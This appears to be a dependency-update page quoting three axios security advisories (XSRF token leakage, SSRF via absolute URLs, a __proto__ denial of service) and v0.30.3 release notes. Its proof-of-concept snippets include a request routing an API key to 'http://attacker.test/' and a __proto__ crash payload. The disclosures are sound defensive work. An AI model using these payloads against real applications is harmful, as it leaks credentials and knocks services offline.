Axios Cross-Site Request Forgery Vulnerability

CVE-2023-45857 / GHSA-wf5p-g6vw-rhxx

More information

Details

An issue discovered in Axios 0.8.1 through 1.5.1 inadvertently reveals the confidential XSRF-TOKEN stored in cookies by including it in the HTTP header X-XSRF-TOKEN for every request made to any host allowing attackers to view sensitive information.

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

axios Requests Vulnerable To Possible SSRF and Credential Leakage via Absolute URL

CVE-2025-27152 / GHSA-jr5f-v2jv-69x6

More information

Details

Summary

A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463

A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.

Details

Consider the following code snippet:

import axios from "axios";

const internalAPIClient = axios.create({
  baseURL: "http://example.test/api/v1/users/",
  headers: {
    "X-API-KEY": "1234567890",
  },
});

// const userId = "123";
const userId = "http://attacker.test/";

await internalAPIClient.get(userId); // SSRF

In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.

It is recommended that:

  • When baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.
  • Before sending the HTTP request (after combining the baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.
PoC

Follow the steps below to reproduce the issue:

  1. Set up two simple HTTP servers:
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html 
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
  1. Create a script (e.g., main.js):
import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);
  1. Run the script:
$ node main.js
this is server2

Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.

Impact
  • Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.
  • SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.
  • Affected Users: Software that uses baseURL and does not validate path parameters is affected by this issue.

Severity

  • CVSS Score: 7.7 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P

Axios is Vulnerable to Denial of Service via proto Key in mergeConfig

CVE-2026-25639 / GHSA-43fc-jf86-j433

More information

Details

Denial of Service via proto Key in mergeConfig
Summary

The mergeConfig function in axios crashes with a TypeError when processing configuration objects containing __proto__ as an own property. An attacker can trigger this by providing a malicious configuration object created via JSON.parse(), causing complete denial of service.

Details

The vulnerability exists in lib/core/mergeConfig.js at lines 98-101:

utils.forEach(Object.keys({ ...config1, ...config2 }), function computeConfigValue(prop) {
  const merge = mergeMap[prop] || mergeDeepProperties;
  const configValue = merge(config1[prop], config2[prop], prop);
  (utils.isUndefined(configValue) && merge !== mergeDirectKeys) || (config[prop] = configValue);
});

When prop is '__proto__':

  1. JSON.parse('{"__proto__": {...}}') creates an object with __proto__ as an own enumerable property
  2. Object.keys() includes '__proto__' in the iteration
  3. mergeMap['__proto__'] performs prototype chain lookup, returning Object.prototype (truthy object)
  4. The expression mergeMap[prop] || mergeDeepProperties evaluates to Object.prototype
  5. Object.prototype(...) throws TypeError: merge is not a function

The mergeConfig function is called by:

  • Axios._request() at lib/core/Axios.js:75
  • Axios.getUri() at lib/core/Axios.js:201
  • All HTTP method shortcuts (get, post, etc.) at lib/core/Axios.js:211,224
PoC
import axios from "axios";

const maliciousConfig = JSON.parse('{"__proto__": {"x": 1}}');
await axios.get("https://httpbin.org/get", maliciousConfig);

Reproduction steps:

  1. Clone axios repository or npm install axios
  2. Create file poc.mjs with the code above
  3. Run: node poc.mjs
  4. Observe the TypeError crash

Verified output (axios 1.13.4):

TypeError: merge is not a function
    at computeConfigValue (lib/core/mergeConfig.js:100:25)
    at Object.forEach (lib/utils.js:280:10)
    at mergeConfig (lib/core/mergeConfig.js:98:9)

Control tests performed:

Test Config Result
Normal config {"timeout": 5000} SUCCESS
Malicious config JSON.parse('{"__proto__": {"x": 1}}') CRASH
Nested object {"headers": {"X-Test": "value"}} SUCCESS

Attack scenario:
An application that accepts user input, parses it with JSON.parse(), and passes it to axios configuration will crash when receiving the payload {"__proto__": {"x": 1}}.

Impact

Denial of Service - Any application using axios that processes user-controlled JSON and passes it to axios configuration methods is vulnerable. The application will crash when processing the malicious payload.

Affected environments:

  • Node.js servers using axios for HTTP requests
  • Any backend that passes parsed JSON to axios configuration

This is NOT prototype pollution - the application crashes before any assignment occurs.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Release Notes

axios/axios (axios)

v0.30.3: Release notes - v0.30.3

Compare Source

This is a critical security maintenance release for the v0.x branch. It addresses a high-priority vulnerability involving prototype pollution that could lead to a Denial of Service (DoS).

Recommendation: All users currently on the 0.x release line should upgrade to this version immediately to ensure environment stability.

🛡️ Security Fixes

  • Backport: Fix DoS via proto key in merge config
    • Patched a vulnerability where specifically crafted configuration objects using the proto key could cause a Denial of Service during the merge process. - by @​FeBe95 in PR #​7388

⚙️ Maintenance & CI

  • CI Infrastructure Update
    • Updated Continuous Integration workflows for the v0.x branch to maintain long-term support and build reliability. - by @​jasonsaayman in PR #​7407

⚠️ Breaking Changes

Configuration Merging Behavior:

As part of the security fix, Axios now restricts the merging of the proto key within configuration objects. If your codebase relies on unconventional deep-merging patterns that target the object prototype via Axios config, those operations will now be blocked. This is a necessary change to prevent prototype pollution.
